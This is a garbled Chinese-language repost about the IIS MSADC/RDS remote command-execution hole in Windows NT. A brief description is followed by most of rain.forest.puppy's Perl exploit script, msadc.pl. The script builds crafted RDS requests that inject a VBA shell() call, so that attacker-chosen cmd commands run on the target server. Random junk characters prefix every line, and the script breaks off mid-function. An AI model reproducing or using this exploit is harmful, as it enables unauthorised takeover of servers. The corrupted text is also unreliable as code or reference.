IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@67GVPcxl zRmVV}b 涉及程序:
AA)pV- Microsoft NT server
(^W
:f{ A W6B[ 描述:
"=K3sk 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A(uo%QE| $[b}r#P 详细:
Z2@e~&L 如果你没有时间读详细内容的话,就删除:
K|\0jd)N c:\Program Files\Common Files\System\Msadc\msadcs.dll
\D'mo 有关的安全问题就没有了。
lK/4"& TghT{h@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
*~4<CP+"0 c%O97J.5b 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
@YRy)+ 关于利用ODBC远程漏洞的描述,请参看:
KPDJ$,: @aN~97
H\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm cAGM|% S&-F(#CF^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
N.+A-[7,W http://www.microsoft.com/security/bulletins/MS99-025faq.asp Ct?xTFb j@#RfVx 这里不再论述。
Jw}&[ O"|d~VQ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9015PEO suIYfjh /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>);M\,1\I 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}6pr.-J x4>"m(&% bC"h7$3 #将下面这段保存为txt文件,然后: "perl -x 文件名"
pg!oi?Jn 9=6BQ`u #!perl
6Ad UlPM #
cZ
!$XXA` # MSADC/RDS 'usage' (aka exploit) script
A-.Wd7^~* #
|:4W5>sfg # by rain.forest.puppy
ooB9iNo^ #
%"oGJp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8kSyT'kC% # beta test and find errors!
z79oj\&[ b?cO+PY01 use Socket; use Getopt::Std;
kI04<! getopts("e:vd:h:XR", \%args);
hP{+`\&<f 6C"zBJcGc print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
gBWr)R a%a0/!U[ if (!defined $args{h} && !defined $args{R}) {
!mWm@}Ujg print qq~
9bRUN< Usage: msadc.pl -h <host> { -d <delay> -X -v }
E}F-*go -h <host> = host you want to scan (ip or domain)
TG8 U=9qt -d <seconds> = delay between calls, default 1 second
w(Tr,BFF -X = dump Index Server path table, if available
eHKb`K7C. -v = verbose
k^ fW/ -e = external dictionary file for step 5
-qvMMit%7 FIAmAZH}_ Or a -R will resume a command session
@*L-lx @`nG&U ~; exit;}
-G? IXgG Z
eY*5m $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ki2`gLK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
b&QI#w if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
eHGx00: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{,6J*v"o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0|K<$e6IH if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\kY:|T bQ
0Ab"+D if (!defined $args{R}){ $ret = &has_msadc;
U6wy^!_X9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
a{}#t} [AIqKyIr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
65U\;Ew . "cmd /c ";
X7-[#} T $in=<STDIN>; chomp $in;
~,)D
n $command="cmd /c " . $in ;
xe(7q1 pmurG if (defined $args{R}) {&load; exit;}
VM&Ref4 l_9Z zN print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&;r'JIp &try_btcustmr;
ez%:>r4 yA*U^:% print "\nStep 2: Trying to make our own DSN...";
sredL#]BA &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@ZJ}lED3 Btr>ek print "\nStep 3: Trying known DSNs...";
[h&s<<#
D &known_dsn;
PA*k| t;PG print "\nStep 4: Trying known .mdbs...";
./.aLTh &known_mdb;
5{i NR4sq #j+cl' if (defined $args{e}){
=;Co0Q` print "\nStep 5: Trying dictionary of DSN names...";
UA]T7r@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U1fqs{> qe
e_wx print "Sorry Charley...maybe next time?\n";
3 m-g- exit;
#)48dW!n ]mNsG0r6 ##############################################################################
#4"eQ*.*" x;} 25A| sub sendraw { # ripped and modded from whisker
o
/1+
}f sleep($delay); # it's a DoS on the server! At least on mine...
&
@_PY my ($pstr)=@_;
<s|.2~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R- ,L"Vv die("Socket problems\n");
7)2Q if(connect(S,pack "SnA4x8",2,80,$target)){
"cjD-42 select(S); $|=1;
vd$>nJ" print $pstr; my @in=<S>;
0yMHU[):~ select(STDOUT); close(S);
i-p,x0th return @in;
jA~omX2A } else { die("Can't connect...\n"); }}
r~oUln<[ ?8< =.,r ##############################################################################
q|s:&&Wf '"LaaTTs sub make_header { # make the HTTP request
8WpNlB+:{ my $msadc=<<EOT
''! j:49 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>zw@!1{1 User-Agent: ACTIVEDATA
lg ,% Host: $ip
fk1d iB Content-Length: $clen
,+C?UW Connection: Keep-Alive
=;)=,+V~q 63$`KG3 ADCClientVersion:01.06
Fe$o*r, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0(Z:QqpU$ T/%Y_.NtU --!ADM!ROX!YOUR!WORLD!
Qz2jV Content-Type: application/x-varg
-?{g{6 Content-Length: $reqlen
+<V$G/" d|~'#:y@ EOT
on5\rY<I:@ ; $msadc=~s/\n/\r\n/g;
2\|sXC return $msadc;}
2S[:mnK t@+e#3P! ##############################################################################
rxJl;!7G Hv:~)h$ sub make_req { # make the RDS request
)Wt&*WMFXl my ($switch, $p1, $p2)=@_;
6L
Fhhl^ my $req=""; my $t1, $t2, $query, $dsn;
O ]-8 % ~+Cl9:4T if ($switch==1){ # this is the btcustmr.mdb query
**AkpV) $query="Select * from Customers where City=" . make_shell();
I*a.!/$) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
LtKR15h, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3KkJQ5a jJ2{g> P0P elsif ($switch==2){ # this is general make table query
,qV 7$u $query="create table AZZ (B int, C varchar(10))";
8 K)GH:a $dsn="$p1";}
0 A8G8^T _Vt9ckaA elsif ($switch==3){ # this is general exploit table query
f8f3[O!x $query="select * from AZZ where C=" . make_shell();
zA$ f$J7\^ $dsn="$p1";}
rG[2.\& b{x/V 9&| elsif ($switch==4){ # attempt to hork file info from index server
#KHj.Vg $query="select path from scope()";
/%t`0pi $dsn="Provider=MSIDXS;";}
vJ 28A Z$('MQ|Ur elsif ($switch==5){ # bad query
C+t|fSJ $query="select";
B7[#z{8'# $dsn="$p1";}
A5%Now;.cf ":=h1AJY $t1= make_unicode($query);
5UK}AkEe&x $t2= make_unicode($dsn);
.+u r+"i $req = "\x02\x00\x03\x00";
auY?Cj'"fs $req.= "\x08\x00" . pack ("S1", length($t1));
XC}2GHO< $req.= "\x00\x00" . $t1 ;
sdd%u~4,X $req.= "\x08\x00" . pack ("S1", length($t2));
h+YPyeAs $req.= "\x00\x00" . $t2 ;
@cx#' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I-kK^_0mV< return $req;}
|GPYbxzc ~Xr[d07bC ##############################################################################
dV*9bDkM/ h*Mi/\ sub make_shell { # this makes the shell() statement
S~|\bnE return "'|shell(\"$command\")|'";}
(5hUoDr! W~l.feW$i ##############################################################################
c7tO'`q$e $0~1;@`rQ6 sub make_unicode { # quick little function to convert to unicode
N>sHT
=_ my ($in)=@_; my $out;
;uZeYY? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
bpDlFa return $out;}
9c0 &,,:pL[ ##############################################################################
fX1Ib$v ,d^H Ag^j sub rdo_success { # checks for RDO return success (this is kludge)
)hVn/*mH my (@in) = @_; my $base=content_start(@in);
AmCymT3P*e if($in[$base]=~/multipart\/mixed/){
wjOJn] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
- xyY6bxL return 0;}
w`=XoYQl~* uFvR(LDb&g ##############################################################################
(~"#=fs.L PbV1FB_ sub make_dsn { # this makes a DSN for us
Kz]\o"K my @drives=("c","d","e","f");
.8[uEQ_L print "\nMaking DSN: ";
&v:[+zw foreach $drive (@drives) {
:C&6M79k print "$drive: ";
Tx'anP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.^ba*qb`{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N6*FlG- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Tj6Czq=*%T $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2';{o=TXV return 0 if $2 eq "404"; # not found/doesn't exist
wRX#^;O9?> if($2 eq "200") {
yRp&pUtb foreach $line (@results) {
TeJ=QpGW2 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-f<}lhmQ } return 0;}
n6c+Okj wkJ@#jD*[ ##############################################################################
X LY>}r [BEQ ~A_I sub verify_exists {
w,<n5dMv my ($page)=@_;
S.U#lAn( my @results=sendraw("GET $page HTTP/1.0\n\n");
@)ls+}=Y return $results[0];}
v++&% 5n e&6 ##############################################################################
y (%y'xBP &}#zG5eu sub try_btcustmr {
1T4#+kW& my @drives=("c","d","e","f");
2LCOB&-Ww my @dirs=("winnt","winnt35","winnt351","win","windows");
}YU\}T-P J)H*tzg foreach $dir (@dirs) {
r\ C"Fx^ print "$dir -> "; # fun status so you can see progress
wf^p?=Ke foreach $drive (@drives) {
!R[~Z7b6 print "$drive: "; # ditto
$h
>rs $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!~xlze $reqlenlen=length( "$reqlen" );
JL7;l0# $clen= 206 + $reqlenlen + $reqlen;
*}>)E]O@ Fj`K$K? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
fBBtS S if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
X7*fmD=Uy else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
py wc~dWvz |[)pQGw ##############################################################################
S>s+ nqcP g$JlpD& sub odbc_error {
DjvPeX my (@in)=@_; my $base;
^SIA%S3 my $base = content_start(@in);
^h2!u'IQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
NE|Q0g $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LMLrH. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UC.kI&A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ggbz return $in[$base+4].$in[$base+5].$in[$base+6];}
"EZpTy}Ee print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ieh<|O,-C print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$gCN[%+j $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qCF&o7*oN tF.N ##############################################################################
~1nKL0C6u 64Tb,AL_ sub verbose {
&